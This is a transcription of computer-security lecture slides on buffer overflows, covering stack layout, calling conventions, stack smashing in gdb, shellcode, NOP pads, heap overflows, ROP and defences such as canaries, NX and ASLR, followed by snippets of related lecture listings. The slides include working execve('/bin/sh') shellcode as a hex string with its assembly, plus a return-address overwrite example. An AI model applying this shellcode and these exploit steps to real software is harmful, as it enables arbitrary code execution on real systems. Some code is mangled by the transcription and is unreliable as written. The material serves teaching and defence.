Buffer Overflows. CSC 482/582: Computer Security Slide #1

Size: px
Start display at page:

Download "Buffer Overflows. CSC 482/582: Computer Security Slide #1"

Transcription

1 Buffer Overflows CSC 482/582: Computer Security Slide #1

2 Topics 1. What is a Buffer Overflow? 2. The Most Common Implementation Flaw. 3. Process Memory Layout. 4. The Stack and C s Calling Convention. 5. Stack Overflows. 6. Shellcode. 7. Heap Overflows. 8. Defences. CSC 482/582: Computer Security Slide #2

3 What is a Buffer Overflow? buffer: a limited, contiguously allocated set of memory. static: char buffer[32] dynamic: malloc(), new What happens when you attempt to access an element beyond the end of the buffer? Bounds checking prevents such accesses in most languages like Python, Ruby, and Java. But in C/C++, large inputs can overflow the buffer, overwriting adjacent data in memory. CSC 482/582: Computer Security Slide #3

4 An Example Buffer Overflow char A[8]; short B=3; A A A A A A A A B B gets(a); A A A A A A A A B B o v e r f l o w s 0 CSC 482/582: Computer Security 4

5 Out-of-Bounds Read What s the mistake in this program? int main() { int array[5] = {1, 2, 3, 4, 5}; printf("%d\n", array[5]); } Program output: > gcc -o buffer buffer.c >./buffer CSC 482/582: Computer Security Slide #5

6 Out of Bounds Write Writing beyond the buffer: int main() { int array[5] = {1, 2, 3, 4, 5}; int i; } for( i=0; i <= 255; ++i ) array[i] = 41; Program output: > gcc -o bufferw bufferw.c >./bufferw Segmentation fault (core dumped) CSC 482/582: Computer Security Slide #6

7 What happens when a buffer overflows? What happened to our buffer overflow? 1. Overwrote memory beyond buffer with Program crashed with Segmentation fault. 1. Directly or indirectly accessed unmapped memory. 2. Creates a page fault exception. 3. OS does not find mapping on page table. 4. OS sends segmentation fault signal to process. Do overflows always produce a crash? Unintentional overflows usually do, but Attackers will restrict writes to mapped pages. CSC 482/582: Computer Security Slide #7

8 A Common Vulnerability Old, Persistent Vulnerability 1988 Morris Worm (fingerd) 2013 Apple Security Update for Quicktime Why do developers keep making this mistake? C/C++ inherently unsafe. No bounds checking on arrays or pointer refs. Unsafe library functions: strcpy(), sprintf(), gets(), scanf(), etc. CSC 482/582: Computer Security Slide #8

9 Process Memory Layout argv, env stack heap bss data text high mem Argv/Env: CLI args and environment Stack: generally grows downwards Heap: generally grows upwards BSS: unitialized global data Data: initialized global data Text: read-only program code low mem CSC 482/582: Computer Security Slide #9

10 Memory Layout Example /* data segment: initialized global data */ int a[] = { 1, 2, 3, 4, 5 }; /* bss segment: uninitialized global data */ int b; /* text segment: contains program code */ int main(int argc, char **argv) /* ptr to argv */ { /* stack: local variables */ int *c; /* heap: dynamic allocation by new or malloc */ c = (int *)malloc(5 * sizeof(int)); } CSC 482/582: Computer Security Slide #10

11 What is the Call Stack? LIFO data structure: push/pop Stack grows downwards in memory. SP (%esp) points to top of stack (lowest address) What s on the call stack? Function parameters. Local variables. Return values. Return address (security critical.) CSC 482/582: Computer Security Slide #11

12 Call Stack Layout b() { } a() { b(); } main() { a(); } Low Memory Unallocated Stack Frame for b() Stack Frame for a() Stack Frame for main() CSC 482/582: Computer Security High Memory 12

13 Accessing the Stack Pushing an item onto the stack. 1. Copy 4 bytes of data to stack. 2. Decrement SP by 4. Example: pushl $12 Popping data from the stack. 1. Copy 4 bytes of data from stack. 2. Increment SP by 4. Example: popl %eax Retrieve data without pop: movl %esp, %eax CSC 482/582: Computer Security Slide #13

14 What is a Stack Frame? Block of stack data for one procedure call. Frame pointer (FP) points to frame: Use offsets to find local variables. SP continually moves with push/pops. FP only moves on function call/return. Intel CPUs use %ebp register for FP. CSC 482/582: Computer Security Slide #14

15 C Calling Convention 1. Push all params onto stack in reverse order. Parameter #N Parameter #2 Parameter #1 2. Issues a call instruction. 1. Pushes address of next instruction (the return address) onto stack. 2. Modifies IP (%eip) to point to start of function. CSC 482/582: Computer Security Slide #15

16 Stack before Function Executes old stack frame Frame Pointer parameter #N parameter #1 return address Stack Pointer CSC 482/582: Computer Security Slide #16

17 C Calling Convention 1. Function pushes FP (%ebp) onto stack. Save FP for previous function. pushl %ebp 2. Copies SP to FP. Allows function to access params as fixed indexes from base pointer. movl %esp, %ebp 3. Reserves stack space for local vars. subl $12, %esp CSC 482/582: Computer Security Slide #17

18 Stack at Function Start old stack frame parameter #N parameter #1 return address old FP local vars Frame Pointer Stack Pointer CSC 482/582: Computer Security Slide #18

19 C Calling Convention 1. After execution, stores return value in %eax. movl $1, %eax 2. Resets stack to pre-call state. Destroys current stack frame; restores caller s frame. movl %esp, %ebp popl %ebp 3. Returns control back to where called from. Pops top word from stack and sets %eip to that value. ret CSC 482/582: Computer Security Slide #19

20 Stack after Function Return old frame return value Frame Pointer Stack Pointer CSC 482/582: Computer Security Slide #20

21 C Calling Convention: Registers Assume all register values destroyed. Only %ebp is guaranteed to be restored. Return value will overwrite %eax. Other registers depend on function actions. Different languages = different calling conventions: Some use registers (easier on RISC processors.) Others use a combination of registers + other storage methods. CSC 482/582: Computer Security Slide #21

22 Overflow Example in C void printinput() { char buffer[32]; gets(buffer); printf("%s\n", buffer); } void main() { printinput(); return 0; } CSC 482/582: Computer Security Slide #22

23 Overflow in Assembly printinput: pushl movl subl subl leal pushl call addl subl leal pushl pushl call addl mov pop ret %ebp %esp, %ebp $40, %esp $12, %esp -40(%ebp), %eax %eax gets $16, %esp $8, %esp -40(%ebp), %eax %eax $.LC0 printf $16, %esp %esp, %ebp %ebp main: pushl movl subl andl movl addl addl shrl sall subl call mov pop ret %ebp %esp, %ebp $8, %esp $-16, %esp $0, %eax $15, %eax $15, %eax $4, %eax $4, %eax %eax, %esp printinput %esp, %ebp %ebp CSC 482/582: Computer Security Slide #23

24 Running Overflow Run the program with normal input. > gcc ggdb o overflow overflow.c >./overflow Run the program with long input. >./overflow Segmentation fault (core dumped) CSC 482/582: Computer Security Slide #24

25 Running Overflow with Debugger > gdb overflow (gdb) r Starting program: /home/waldenj/work/bof/overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x080483c0 in printinput () at overflow.c:5 5 } (gdb) info registers eax 0x47 71 ecx 0x0 0 edx 0x47 71 ebx 0x6bfff esp 0xbfe97164 ebp 0x esi 0xbfe971f4 edi 0xbfe97180 eip 0x eflags 0x CSC 482/582: Computer Security Slide #25

26 Smashing the Stack Success! We overwrote part of the stack. Our overwritten return value was loaded into the instruction pointer (%eip). Failure! The program crashed. EIP loaded with invalid address 0x Address 0x is not in a valid memory page. How to fix it? Insert a valid address into the buffer. CSC 482/582: Computer Security Slide #26

27 Controlling Execution Let s make the program an infinite loop by changing the return value to start of main(). (gdb) disassemble main Dump of assembler code for main: 0x080483c1 <main+0>: push %ebp 0x080483c2 <main+1>: mov %esp,%ebp 0x080483c4 <main+3>: call 0x804839c <printinput> 0x080483c9 <main+8>: leave 0x080483ca <main+9>: ret CSC 482/582: Computer Security Slide #27

28 Controlling Execution How do we input a non-ascii value? void main() { char addr[44]; int i; for( i=0; i<=40; i+=4 ) *(long *) &addr[i] = 0x080483c1; puts(addr); } Does it work? (./address; cat)./overflow input1 input1 input2 input2 input3 Segmentation fault (core dumped) CSC 482/582: Computer Security Slide #28

29 Gaining Complete Control Use a two step process: 1. Use buffer overflow to write machine code (shellcode) onto stack. 2. Rewrite return address to point to machine code on the stack. Program will do whatever we tell it to do in those machine instructions. CSC 482/582: Computer Security Slide #29

30 Shellcode Shellcode is a small piece of machine code inserted into a program by exploiting a vulnerability. Called shellcode since it is often used to start a command shell under control of attacker. Example shellcode Remote shell (like ssh) Reverse shell (connects to your machine like ssh client) Remote desktop (RDP, VNC, etc.) Downloader (installs remote control tools) CSC 482/582: Computer Security Slide #30

31 Creating Shellcode Shellcode in C. int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); } Running the program. > gcc ggdb static o shell shellcode.c >./shell sh-3.00$ exit CSC 482/582: Computer Security Slide #31

32 Examining the Shellcode Shellcode in assembly: Null-terminated string /bin/sh in memory. Addresse of /bin/sh in memory followed by a null word. Copy 0xB into EAX register. Copy address of the address of the string /bin/sh into EBX register. Copy address of the string /bin/sh into ECX. Copy address of null word into EDX register. Exec the int $0x80 instruction. CSC 482/582: Computer Security Slide #32

33 Fixing the Shellcode What if execve() fails? Program will execute garbage from stock. We ll call exit() after execve() to exit cleanly. Where will our code end up in memory? We don t know. Use relative address with JMP and CALL instructions to avoid needing absolute addresses. What if our code contains null bytes? Vulnerable program will stop reading data at null. Substitute problem instructions with equivalents without null bytes, using techniques like XORing values with themselves to indirectly generate zeros. CSC 482/582: Computer Security Slide #33

34 Shellcode Assembly jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes.string \"/bin/sh\" # 8 bytes CSC 482/582: Computer Security Slide #34

35 Testing the Shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } > gcc -o testsc2 testsc2.c >./testsc2 sh-3.00$ exit CSC 482/582: Computer Security Slide #35

36 Writing an Exploit 1. Construct shellcode to inject. 2. Find an exploitable buffer in your target application. 3. Discover location of stack pointer, so you have an idea of where your shellcode will be located. 4. Run program with your input that: 1. Injects shellcode into stack memory. 2. Overwrites return address with address of your shellcode. CSC 482/582: Computer Security Slide #36

37 NOP pads Determining the correct address of your shellcode is hard, even if you don t have source. What if you could have multiple target addresses? Pad buffer with NOP instructions preceding the shellcode. If function returns anywhere in that NOP pad, it will continue executing until it executes the shellcode. CSC 482/582: Computer Security Slide #37

38 Heap Overflows Programs allocate memory on heap via new malloc() To run shellcode, attacker overwrites function pointer C++ methods implemented as function pointers. malloc() stores controls information with data in linked list; pointer overwriting can yield shellcode execution. CSC 482/582: Computer Security Slide #38

39 Defending Yourself 1. Use language with bounds checking. 2. Use boundchecking/stackguarding compiler. 3. Do your own bounds checking. 4. Avoid unsafe functions strcpy() gets() 5. Use potentially dangerous functions securely strncpy() strncat() CSC 482/582: Computer Security Slide #39

40 Safe String Libraries strlcat() and strlcpy() BSD-licensed open source routines C++ std::string library Dynamically-sized strings SafeStr library provides safestr_t objects Dynamically-sized Cast to (char *) for read-only purposes only Microsoft s strsafe.h CSC 482/582: Computer Security Slide #40

41 gets() /* * gets() version reads line from user input until EOF or newline * performs no bounds checking at all BSS, p. 142 */ int main() { char buf[1024]; gets(buf); } /* * fgets() version accepts a size parameter; always specify this parameter */ # define BUFSZ 1024 int main() { char buf[bufsz]; fgets(buf, BUFSZ, stdin) } CSC 482/582: Computer Security Slide #41

42 strcpy() /* code examples from BSS, pp */ strcpy(dst, src); /* copying with explicit bounds checking */ if(strlen(src) > = dst_size) { /* error */ } else { strcpy(dst, src); } /* * or... use strncpy, but be careful to avoid off-by-one bugs: * if strlen(src) = = dst_size, dst will not be null-terminated */ strncpy(dst, src, dst_size 1); dst[dst_size 1] = '\0'; /* * or... dynamically allocate right-sized buffer when you need it */ dst = (char *)malloc(strlen(src) + 1); strcpy(dst, src); CSC 482/582: Computer Security Slide #42

43 sprintf() /* print a usage message (BSS, pp ) */ int main(int argc, char **argv) { char usage[1024]; sprintf(usage, USAGE: %s -f flag [arg1]\n, argv[0]; } /* attack code */ int main() { execl( /path/to/program, < < buffer overflow string> >, NULL); } /* safe solution using nonstandard snprintf() code */ int main(int argc, char **argv) { char usage[1024]; char fmt = USAGE: %s -f flag [arg1]\n ; sprintf(usage, 1024, fmt, argv[0]; } CSC 482/582: Computer Security Slide #43

44 Bounded Function Pitfalls 1. Destination buffer overflows because bound depends on size of source data, not destination buffer. 2. Destination buffer left without null terminator, often as result of off-by-one error. 3. Destination buffer overflows because its bound is specified as the total size of the buffer, rather than space remaining. 4. Programs writes to arbitrary location in memory as destination buffer is not null-terminated and function begins writing at location of first null in destination buffer. CSC 482/582: Computer Security Slide #44

45 Safe String Libraries UNIX Libraries C Bstrlib MT-Safe SafeStr strlcpy(), strlcat() Vstr C++ std::string (STL) Windows Libraries C Safe CRT strlcpy(), strlcat() StrSafe C++ CString (MFC) Safe C++ std::string (STL) CSC 482/582: Computer Security Slide #45

46 strlcpy() and strlcat() size_t strlcpy (char *dst, const char *src, size_t size); size_t strlcat (char *dst, const char *src, size_t size); Size is max size of dest buffer (not maximum number of chars to copy), including NULL. Destination buffer always NULL terminated Return how much space would be required in destination buffer to perform operation. BSD-style open source license. CSC 482/582: Computer Security Slide #46

47 Character Sets Characters represented using encoding forms that map code points to printable chars. Fixed Width ISO UTF-32 Variable Width UTF-8 (most Internet protocols, Python, Ruby) UTF-16 (Java,.NET) Character Encoding Code Point s ÿ ISO UTF-8 ISO UTF FF C3 BF CSC 482/582: Computer Security 47

48 Wide Characters C/C++ char contains 1-byte characters wchar_t is 2-byte, 4-byte on some platforms Java and.net strings UTF-16 encoding Buffer Overflow issues Mixing up different character-set string types. Are sizes measured in bytes or characters? CSC 482/582: Computer Security Slide #48

49 C++ Dangers Using C-style strings with cin char username[16]; cin >> username; The [] operator does not perform bounds checking Converting from C++ to C-style strings string::data() output is not NULL terminated string::c_str() ouput is NULL terminated CSC 482/582: Computer Security Slide #49

50 Non-executable Stack Memory protection prevents code on the stack from being executed to stop stack smashing attacks. NX implemented as a permission bit on page table. Can set other areas of memory NX too, but not all. Limitations Some applications need to execute code on the stack. Attackers can target other areas of memory. Buffer overflows can result in remote code execution without running attacker generated shellcode. CSC 482/582: Computer Security Slide #50

51 Return-Oriented Programming ROP is an exploit technique in which the attacker gains control of the call stack and uses it to execute small pieces of code, called gadgets. Attacker uses existing code. Bypasses NX defense, since no new code executed. Gadgets are typically found in shared libraries Gadgets can be entire functions. Gadgets can be fragments of code that end in a ret instruction (even unintentional instructions.) Attacker controls order of execution and parameters by placing data on call stack. CSC 482/582: Computer Security Slide #51

52 Randomization Randomize layout of memory space Stack location. Shared library locations. Heap location. PIE: Position Independent Executable Default format: binary compiled to work at an address selected when program was compiled. Gcc can compile binaries to be freely relocatable throughout address space. gcc flags: -fpie pie Program loaded at different address for each invocation. CSC 482/582: Computer Security Slide #52

53 Canary Defenses Compiler changes calling convention in two ways: Adds a canary word to the stack ( canary in a coal mine ) Verifies presence of canary word before executing the ret instruction to return to address on stack. Protects against stack smashing since Overflow would have to overwrite canary to reach return value. If canary is chosen randomly, attacker cannot know what to overwrite to that memory location. CSC 482/582: Computer Security Slide #53

54 Canary Stack Layout old frame param1 param2 old PC canary word old FP local vars Frame Pointer Stack Pointer CSC 482/582: Computer Security Slide #54

55 Stackguard Effectiveness Code Dependencies are dynamic libraries stackguarded? Compatibility Recompiled entire RedHat 7.3 distribution Small performance Cost canary insert and check overhead on each call Protects against future stack attacks CSC 482/582: Computer Security Slide #55

56 Key Points Buffer overflow attacks. Buffers and overflows Stack layout and return addresses Stack smashing attacks. Shellcode. Defending against buffer overflows. Use a language with bounds checking. Check your own bounds in C/C++. Avoid unsafe functions in C/C++. Use compiler/os stack defence techniques. CSC 482/582: Computer Security Slide #56

57 References 1. Aleph Null, Smashing the Stack for Fun and Profit, Phrack 49, Bartlett, Johnathan, Programming from the Ground Up, Bartlett Publishing, Bishop, Matt, Introduction to Computer Security, Addison-Wesley, Conover, Matt & w00w00 Security Team, w00w00 on Heap Overflows, 5. Graff, Mark and van Wyk, Kenneth, Secure Coding: Principles & Practices, O Reilly, Horizon, Bypassing Non-executable Stack Protection on Solaris, 7. Hoglund, Greg and McGraw, Gary, Exploiting Software: How to Break Code, Addison-Wesley, Howard, Michael and LeBlanc, David, Writing Secure Code, 2 nd edition, Microsoft Press, Koziol, et. al, The Shellcoder s Handbook: Discovering and Exploiting Security Holes, Wiley, Viega, John, and McGraw, Gary, Building Secure Software, Addison-Wesley, Wheeler, David, Secure Programming for UNIX and Linux HOWTO, HOWTO/index.html, CSC 482/582: Computer Security Slide #57

Topics. What is a Buffer Overflow? Buffer Overflows

Topics. What is a Buffer Overflow? Buffer Overflows Buffer Overflows CSC 482/582: Computer Security Slide #1 Topics 1. What is a Buffer Overflow? 2. The Most Common Implementation Flaw. 3. Process Memory Layout. 4. The Stack and C s Calling Convention.

More information

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks Runtime attacks are major threats to today's applications Control-flow of an application is compromised at runtime Typically, runtime attacks include injection of malicious code Reasons for runtime attacks

More information

Buffer Overflows. Buffer Overflow. Many of the following slides are based on those from

Buffer Overflows. Buffer Overflow. Many of the following slides are based on those from s Many of the following slides are based on those from 1 Complete Powerpoint Lecture Notes for Computer Systems: A Programmer's Perspective (CS:APP) Randal E. Bryant and David R. O'Hallaron http://csapp.cs.cmu.edu/public/lectures.html

More information

CMPSC 497 Buffer Overflow Vulnerabilities

CMPSC 497 Buffer Overflow Vulnerabilities Systems and Internet Infrastructure Security Network and Security Research Center Department of Computer Science and Engineering Pennsylvania State University, University Park PA CMPSC 497 Buffer Overflow

More information

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) Secure Programming Lecture 3: Memory Corruption I (Stack Overflows) David Aspinall, Informatics @ Edinburgh 24th January 2017 Outline Roadmap Memory corruption vulnerabilities Instant Languages and Runtimes

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Alex Gantman, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on

More information

Linux Memory Layout. Lecture 6B Machine-Level Programming V: Miscellaneous Topics. Linux Memory Allocation. Text & Stack Example. Topics.

Linux Memory Layout. Lecture 6B Machine-Level Programming V: Miscellaneous Topics. Linux Memory Allocation. Text & Stack Example. Topics. Lecture 6B Machine-Level Programming V: Miscellaneous Topics Topics Linux Memory Layout Understanding Pointers Buffer Overflow Upper 2 hex digits of address Red Hat v. 6.2 ~1920MB memory limit FF C0 Used

More information

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows Betriebssysteme und Sicherheit Sicherheit Buffer Overflows Software Vulnerabilities Implementation error Input validation Attacker-supplied input can lead to Corruption Code execution... Even remote exploitation

More information

Assembly Language: Function Calls

Assembly Language: Function Calls Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and returning Passing parameters Storing local variables Handling registers without interference

More information

Control Hijacking Attacks

Control Hijacking Attacks Control Hijacking Attacks Alexandros Kapravelos kapravelos@ncsu.edu (Derived from slides from Chris Kruegel) Attacker s mindset Take control of the victim s machine Hijack the execution flow of a running

More information

BUFFER OVERFLOW. Jo, Heeseung

BUFFER OVERFLOW. Jo, Heeseung BUFFER OVERFLOW Jo, Heeseung IA-32/LINUX MEMORY LAYOUT Heap Runtime stack (8MB limit) Dynamically allocated storage When call malloc(), calloc(), new() DLLs (shared libraries) Data Text Dynamically linked

More information

Buffer Overflow. Jo, Heeseung

Buffer Overflow. Jo, Heeseung Buffer Overflow Jo, Heeseung IA-32/Linux Memory Layout Heap Runtime stack (8MB limit) Dynamically allocated storage When call malloc(), calloc(), new() DLLs (shared libraries) Data Text Dynamically linked

More information

Roadmap: Security in the software lifecycle. Memory corruption vulnerabilities

Roadmap: Security in the software lifecycle. Memory corruption vulnerabilities Secure Programming Lecture 3: Memory Corruption I (introduction) David Aspinall, Informatics @ Edinburgh 24th January 2019 Roadmap: Security in the software lifecycle Security is considered at different

More information

Assembly Language: Function Calls" Goals of this Lecture"

Assembly Language: Function Calls Goals of this Lecture Assembly Language: Function Calls" 1 Goals of this Lecture" Help you learn:" Function call problems:" Calling and returning" Passing parameters" Storing local variables" Handling registers without interference"

More information

Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall Nitesh Saxena

Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall Nitesh Saxena Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall 2007 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) and Stanislav Nurilov Course Admin

More information

Buffer Overflows Defending against arbitrary code insertion and execution

Buffer Overflows Defending against arbitrary code insertion and execution www.harmonysecurity.com info@harmonysecurity.com Buffer Overflows Defending against arbitrary code insertion and execution By Stephen Fewer Contents 1 Introduction 2 1.1 Where does the problem lie? 2 1.1.1

More information

CSE 565 Computer Security Fall 2018

CSE 565 Computer Security Fall 2018 CSE 565 Computer Security Fall 2018 Lecture 14: Software Security Department of Computer Science and Engineering University at Buffalo 1 Software Security Exploiting software vulnerabilities is paramount

More information

COMP 2355 Introduction to Systems Programming

COMP 2355 Introduction to Systems Programming COMP 2355 Introduction to Systems Programming Christian Grothoff christian@grothoff.org http://grothoff.org/christian/ 1 What could go wrong? Today: Secure Coding Major Security Bug Categories 2 What is

More information

Architecture-level Security Vulnerabilities

Architecture-level Security Vulnerabilities Architecture-level Security Vulnerabilities Björn Döbel Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention The Battlefield:

More information

Assembly Language: Function Calls" Goals of this Lecture"

Assembly Language: Function Calls Goals of this Lecture Assembly Language: Function Calls" 1 Goals of this Lecture" Help you learn:" Function call problems:" Calling and urning" Passing parameters" Storing local variables" Handling registers without interference"

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Stefan Savage, Fall 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on the

More information

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University Buffer Overflow Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu IA-32/Linux Memory Layout Runtime stack (8MB limit) Heap Dynamically allocated storage

More information

COMP 3704 Computer Security

COMP 3704 Computer Security COMP 3704 Computer Security christian@grothoff.org http://grothoff.org/christian/ 1 Application Security Suppose...... protocol design is secure.... cryptographic primitives are secure.... users / key

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Stefan Savage, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on

More information

Function Calls COS 217. Reading: Chapter 4 of Programming From the Ground Up (available online from the course Web site)

Function Calls COS 217. Reading: Chapter 4 of Programming From the Ground Up (available online from the course Web site) Function Calls COS 217 Reading: Chapter 4 of Programming From the Ground Up (available online from the course Web site) 1 Goals of Today s Lecture Finishing introduction to assembly language o EFLAGS register

More information

Introduction to Computer Systems , fall th Lecture, Sep. 28 th

Introduction to Computer Systems , fall th Lecture, Sep. 28 th Introduction to Computer Systems 15 213, fall 2009 9 th Lecture, Sep. 28 th Instructors: Majd Sakr and Khaled Harras Last Time: Structures struct rec { int i; int a[3]; int *p; }; Memory Layout i a p 0

More information

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and urning Passing parameters Storing local variables Handling registers without interference Returning

More information

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts This time We will begin our 1st section: Software Security By investigating Buffer overflows and other memory safety vulnerabilities History Memory layouts Buffer overflow fundamentals Software security

More information

Università Ca Foscari Venezia

Università Ca Foscari Venezia Stack Overflow Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it Introduction Buffer overflow is due to careless programming in unsafe languages like C

More information

This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask

This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask This time We will continue Buffer overflows By looking at Overflow Defenses and other memory safety vulnerabilities Everything you ve always wanted to know about gdb but were too afraid to ask Overflow

More information

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32. Lab session this afternoon Memory corruption attacks Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 The first Secure Programming

More information

Architecture-level Security Vulnerabilities. Julian Stecklina

Architecture-level Security Vulnerabilities. Julian Stecklina Architecture-level Security Vulnerabilities Julian Stecklina Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention The

More information

Lecture 08 Control-flow Hijacking Defenses

Lecture 08 Control-flow Hijacking Defenses Lecture 08 Control-flow Hijacking Defenses Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Slides adapted from Miller, Bailey, and Brumley Control Flow Hijack: Always control + computation

More information

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013 CS 645: Lecture 3 Software Vulnerabilities Rachel Greenstadt July 3, 2013 Project 1: Software exploits Individual project - done in virtual machine environment This assignment is hard. Don t leave it until

More information

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures)

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 Outline Announcement Recap Containment and curtailment Tamper detection Memory

More information

Foundations of Network and Computer Security

Foundations of Network and Computer Security Foundations of Network and Computer Security John Black Lecture #17 Oct 26 th 2004 CSCI 6268/TLEN 5831, Fall 2004 Announcements Project #1 Due Today Please hand in to me Project #2 rsautl has no base64

More information

Topics in Software Security Vulnerability

Topics in Software Security Vulnerability Topics in Software Security Vulnerability Software vulnerability What are software vulnerabilities? Types of vulnerabilities E.g., Buffer Overflows How to find these vulnerabilities and prevent them? Classes

More information

Is stack overflow still a problem?

Is stack overflow still a problem? Morris Worm (1998) Code Red (2001) Secure Programming Lecture 4: Memory Corruption II (Stack Overflows) David Aspinall, Informatics @ Edinburgh 31st January 2017 Memory corruption Buffer overflow remains

More information

Biography. Background

Biography. Background From Over ow to Shell An Introduction to low-level exploitation Carl Svensson @ KTH, January 2019 1 / 28 Biography MSc in Computer Science, KTH Head of Security, KRY/LIVI CTF: HackingForSoju E-mail: calle.svensson@zeta-two.com

More information

Process Layout and Function Calls

Process Layout and Function Calls Process Layout and Function Calls CS 6 Spring 07 / 8 Process Layout in Memory Stack grows towards decreasing addresses. is initialized at run-time. Heap grow towards increasing addresses. is initialized

More information

From Over ow to Shell

From Over ow to Shell From Over ow to Shell An Introduction to low-level exploitation Carl Svensson @ Google, December 2018 1 / 25 Biography MSc in Computer Science, KTH Head of Security, KRY/LIVI CTF: HackingForSoju E-mail:

More information

Buffer Overflow Vulnerability

Buffer Overflow Vulnerability Buffer Overflow Vulnerability 1 Buffer Overflow Vulnerability Copyright c 2006 2014 Wenliang Du, Syracuse University. The development of this document is/was funded by three grants from the US National

More information

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS) Beyond Stack Smashing: Recent Advances in Exploiting Buffer Overruns Jonathan Pincus(MSR) and Brandon Baker (MS) Buffer Overflows and How they Occur Buffer is a contiguous segment of memory of a fixed

More information

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422 Lecture 04 Control Flow II Stehen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422 Function calls on 32-bit x86 Stack grows down (from high to low addresses)

More information

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess

More information

CNIT 127: Exploit Development. Ch 2: Stack Overflows in Linux

CNIT 127: Exploit Development. Ch 2: Stack Overflows in Linux CNIT 127: Exploit Development Ch 2: Stack Overflows in Linux Stack-based Buffer Overflows Most popular and best understood exploitation method Aleph One's "Smashing the Stack for Fun and Profit" (1996)

More information

Secure Systems Engineering

Secure Systems Engineering Secure Systems Engineering Chester Rebeiro Indian Institute of Technology Madras Flaws that would allow an attacker access the OS flaw Bugs in the OS The Human factor Chester Rebeiro, IITM 2 Program Bugs

More information

20: Exploits and Containment

